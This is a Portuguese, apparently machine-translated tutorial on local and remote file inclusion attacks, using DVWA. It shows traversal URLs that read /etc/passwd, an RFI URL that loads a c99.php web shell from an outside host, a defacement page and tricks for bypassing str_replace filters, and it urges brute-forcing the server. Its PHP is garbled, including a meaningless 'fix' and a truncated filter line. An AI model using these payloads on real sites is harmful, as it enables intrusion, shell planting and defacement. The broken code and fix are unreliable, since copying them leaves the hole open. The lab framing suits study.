O que é inclusão de arquivo?
Inclusão de arquivo significa que o invasor inclui um arquivo no site de destino ou exibe um arquivo de propriedade do site de destino, mas não veiculado.
Existem dois tipos de ataques que usam a vulnerabilidade de inclusão de arquivo: o primeiro é chamado de inclusão de arquivo local e o segundo é chamado de inclusão de arquivo remoto. O ataque de inclusão de arquivo local é chamado exibindo o arquivo no site de destino que não é apresentado aos visitantes no servidor hospedado pelo site de destino. O ataque de inclusão de arquivo remoto, por outro lado, é chamado quando o invasor tem seu próprio arquivo (por exemplo, um arquivo shell) exibido no site de destino.
Detecção de inclusão de arquivo
Quando abrimos o site de destino, precisamos cometer o erro do site para entender se ele está aberto ou não.
Exemplo
Como wwwcanyoupwnme.com/articles.php?file =fileinclusion.html
wwwcanyoupwnme.com/articles.php?file=..cypm.com Podemos redirecionar dessa maneira, pessoal. Nosso objetivo é fazer o site errar, se houver algo errado ou se você cometer um erro, você pode entender que há um déficit.
Por exemplo, como exemplo, mostrarei o código de amostra de onde se origina uma vulnerabilidade RFI e como corrigir esse erro.
-> Erro de Rfi por exemplo
Se você está procurando por Rfi habilitado em scripts, você deve conhecê-los bem.
Por exemplo, vamos preparar um déficit de Rfi.
<?php
$page=$_GET[page]; -> Vulnerabilidade de Rfi aqui o valor da página
inclui ($page)
?>
-> Solução de problemas de Rfi como exemplo
Você pode fechar os bugs nos scripts com base nos exemplos dados sobre este assunto.
<?php
$page=$_GET./; Com essas codificações, corrigimos nossa vulnerabilidade de Rfi.
?>
O que é Shell?
Ao fazer upload para o site, você tem privilégios para editar e ler arquivos no site de acordo com a autoridade. Esses privilégios são privilégios de gravação, leitura e exclusão. No site que você shell, às vezes você pode usar a autoridade de um proprietário do site e às vezes você pode usar a autoridade do proprietário do servidor, ou seja, o proprietário do host, a autoridade do proprietário do servidor é bastante alta. Esse evento é chamado Autorização de Permissão.
Você pode ler e alterar todos os arquivos em um servidor aberto, enfim, você é o dono do servidor.
O que é o BackConnect?
Podemos dizer que é um software que permite conectar-se ao servidor por meio de uma porta aberta. Ele pode ser usado para fazer root no servidor e geralmente é usado para executar explorações locais.
O que é Explorar?
Exploit é um pequeno código ou programas projetados para criar erros indesejados ou não planejados em um computador, software, programa ou qualquer sistema digital, aproveitando vulnerabilidades do sistema e erros de código. Por exemplo, são os programas criados para entrar no sistema sem permissão, para criar um usuário autorizado, para desabilitar o sistema.
Exploits podem ser de vários tipos diferentes de acordo com seus princípios de funcionamento. Em geral, os exploits são divididos em três categorias principais de acordo com a forma como se comunicam com o sistema
.
Exploração Remota
Exploração local
Exploração do lado do cliente
Exploits remotos interagem com o sistema através de uma rede digital, como a rede local ou a Internet.
Exploits locais são Exploits no sistema, que geralmente são projetados para usar os recursos do usuário autorizado no sistema.
Por outro lado, os exploits que interagem com os aplicativos do cliente (do lado do cliente) geralmente interagem com os sistemas pela rede, mas devem ser acionados pelo cliente ou pelos usuários para serem usados. Essas explorações geralmente são desencadeadas por ataques de engenharia social.
Agora, vamos continuar explicando mostrando um exemplo, e amigos, se quiserem, podem aplicar isso no DVWA depois de instalá-lo em seu host local.
1)Inclusão de arquivo local de baixo nível
Por exemplo, se tivermos um site de destino, dou um exemplo wwwhedefsite.com?page=include.php
'? O sinal ' denota o início da seção onde os parâmetros devem ser classificados. O sinal '=' indica que o parâmetro receberá um valor. No site que mostrei como exemplo, existe um parâmetro e seu valor. O nome desse parâmetro é page , ou seja, page. Seu valor é o nome do arquivo. Como você pode ver, o parâmetro page pega um nome de arquivo e altera o conteúdo de acordo com os valores que recebe. Em outras palavras, o parâmetro da página no link é usado como um seletor de arquivo que determina o arquivo php a ser refletido como conteúdo. Como resultado dessa seleção, podemos acessar os arquivos que a página atual hospeda, aos quais não podemos acessar. No servidor, um arquivo é incluído em index.php, a página de inclusão de arquivo que estamos visualizando no momento. Este mecanismo é chamado de Inclusão de Arquivos. Seguem algumas fotos, vamos examiná-las pessoal.
Por exemplo, podemos refletir o conteúdo de um arquivo confidencial como passwd no diretório /etc em servidores de sistema operacional linux e unix reproduzindo o valor do parâmetro no link do site e selecionando-o na página? Se medidas de segurança não forem tomadas, a resposta é sim.
Uma vez que o parâmetro da URL leva os nomes dos arquivos no servidor e reflete o conteúdo do arquivo relevante na tela de acordo. Então vamos tentar usá-lo para refletir o arquivo /etc/passwd onde os nomes de usuários e detalhes são mantidos no servidor. O diretório em que estamos é (supondo que você esteja executando o DVWA no Linux):
Amigos, temos esse diretório > /var/www/dvwa/vulnerabilities/fi/
O diretório acima é o diretório da página que estamos visualizando no momento. Nosso objetivo é acessar o arquivo passwd no diretório /etc.
Precisamos ir para o diretório superior algumas vezes antes de podermos mudar do diretório /var/www/dvwa/vulnerabilities/fi/
para a pasta var. Em outras palavras, temos que ir para o diretório superior até chegar à pasta var:
fi ../
vulnerabilities ../
dvwa ../
www ../
var ../
Então entendemos que se usarmos 5 ../ comandos, chegamos ao pool onde var está localizado, ou seja, o diretório raiz. . Se o valor do parâmetro page no link da página que você está visualizando for
../../../../../
Se o adicionarmos, saímos da pasta fi e acessamos o pool de pastas onde está localizada a pasta /var. O próximo passo é ramificar para a pasta etc. Para isso, adiciona-se o diretório /etc/ e em seguida adiciona-se o nome do arquivo na pasta etc:
../../../../../etc/passwd
Desta forma;
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
Ao entrar no link, informações como o nome do usuário, os grupos aos quais os usuários pertencem, ou seja, o conteúdo do arquivo passwd é refletido na tela.
Com as informações mais recentes que recebemos, o servidor do site de destino pode ser infiltrado usando Brute Force.
Também devo explicar que neste ataque aparentemente simples, arquivos importantes podem ser lidos, por exemplo, arquivos de log: access.log , error.log. O trabalho consiste em conhecer a estrutura de pastas do sistema de destino. Tentar memorizar a estrutura de pastas não faz muito sentido. Você pode abrir um sistema linux em seu computador e fazer com que o sistema procure o arquivo crítico que você deseja com CTRL+F. Assim, você pode colocar o diretório que encontrou como valor no parâmetro na URL desta lição e exibir na tela o conteúdo do arquivo que você selecionou.
2)Inclusão de arquivo remoto de baixo nível
O ataque RFI explora a vulnerabilidade de inclusão de arquivo, que é a mesma vulnerabilidade de segurança usada pelo ataque LFI. A operação é a mesma. Mas desta vez, a página a ser incluída na tela será um arquivo externo, não o arquivo no servidor do site de destino.
Digamos que o arquivo externo a ser incluído contenha o seguinte:
<br><br><br><br><br><br>
<font color="red">
<center>
<h1>VOCÊ HACKEADO POR AYYILDIZ TIM< /h1>
</center>
</font>
<br><br><br><br><br><br><br>
Como você pode ver, um texto escrito em html, podemos exibi-lo no site servidor.
http://localhost/dvwa/vulnerabilities/fi/?page=http://www.canyoupwne.com/cypm.html
Parâmetro da página ao obter o endereço do diretório de um arquivo hospedado nos servidores do site alvo no ataque LFI , desta vez recebeu um link externo. Ao inserir esse código de ataque na barra de endereços do navegador, o conteúdo do arquivo externo será refletido na tela e a página parecerá ter sido hackeada. Além disso, como mencionei no início do meu artigo, podemos lançar um shell, isso nos dará uma grande autoridade no site.
3) Inclusão de arquivos locais e remotos de nível médio
Desta vez, examinaremos um pouco mais as medidas de segurança.
Precaução contra Lfi e Rfi
O código-fonte de baixo nível era esse pessoal. Como você pode ver, quando a segurança é de nível baixo, o nome do arquivo do parâmetro da página é inserido na função include() como está e é incluído na página. Existe a necessidade de um mecanismo de verificação dos nomes dos arquivos que virão do parâmetro da página. Caso contrário, qualquer pessoa pode inserir o nome do arquivo desejado no parâmetro e exibir o arquivo desejado na página.
<?php
$arquivo = $_GET[ 'página' ];
incluir($arquivo);
?>
A alteração no código-fonte quando o nível de segurança é aumentado para Médio é a seguinte:
<?php
$file = $_GET[ 'page' ];
$arquivo = str_replace(array( "http://", "https://" ), "", $arquivo );
$arquivo = str_replace( array( "../", "..\"
?>
Se houver caracteres como http:// e https:// no nome do arquivo inserido como um valor para o parâmetro de página com a primeira função str_replace() no código-fonte do nível médio, eles serão excluídos. Então, com a segunda função str_replace(), o caractere ..\, que permite ir para o diretório superior em sistemas Windows, e o caractere ../, que permite ir para o diretório superior em sistemas linux e unix, são excluído do nome do arquivo. Desta forma, a segurança que parece perfeita em primeiro lugar é garantida.
Enquanto medidas foram tomadas contra ataques de inclusão de arquivo remoto (RFI) com a primeira função str_replace(), medidas foram tomadas contra ataques de inclusão de arquivo local (LFI) com a segunda função str_replace(). No entanto, essas medidas tomadas no nível Médio podem ser superadas. A maneira de ignorar a primeira função str_replace(), que remove http:// e https://, é colocar os caracteres http:// entre os caracteres http://. Se você incluir XSS, usaremos esse método ao escrever scripts.
localhost/dvwa/vulnerabilities/fi/?page=htthttp://p://zararlibirsite.com/c99.php
Aqui, amigos, se considerarmos o código de ataque que você vê acima, a primeira função str_replace() em Nível Médio irá escanear o valor do parâmetro de página que recebe e deletar os caracteres vermelhos assim que o vir. Então str_replace() continuará a varredura de onde parou. Mas não vai acabar. A função não conseguirá capturar os caracteres http:// resultantes da combinação das sobras porque não é rebobinada. Assim, a segurança será violada e realizamos o ataque RFI. Você não acha muito legal?
Agora devemos tentar acessar o arquivo /etc/passwd. Este é o arquivo que contém os nomes de usuários e senhas. Há um problema aqui, vamos pular da seguinte forma:
localhost/dvwa/vulnerabilities/fi/?page=... /./etc/passwd
Se chegarmos à segunda função str_replace(), que é uma medida de segurança contra inclusão de arquivo local, a segunda função str_replace(), que vê caracteres vermelhos, exclui os caracteres vermelhos do diretório pai e continuará o processo de verificação de onde deixado de fora. O restante, quando combinado, formará novamente o caractere do diretório pai (../). Assim, chegaremos ao nosso arquivo .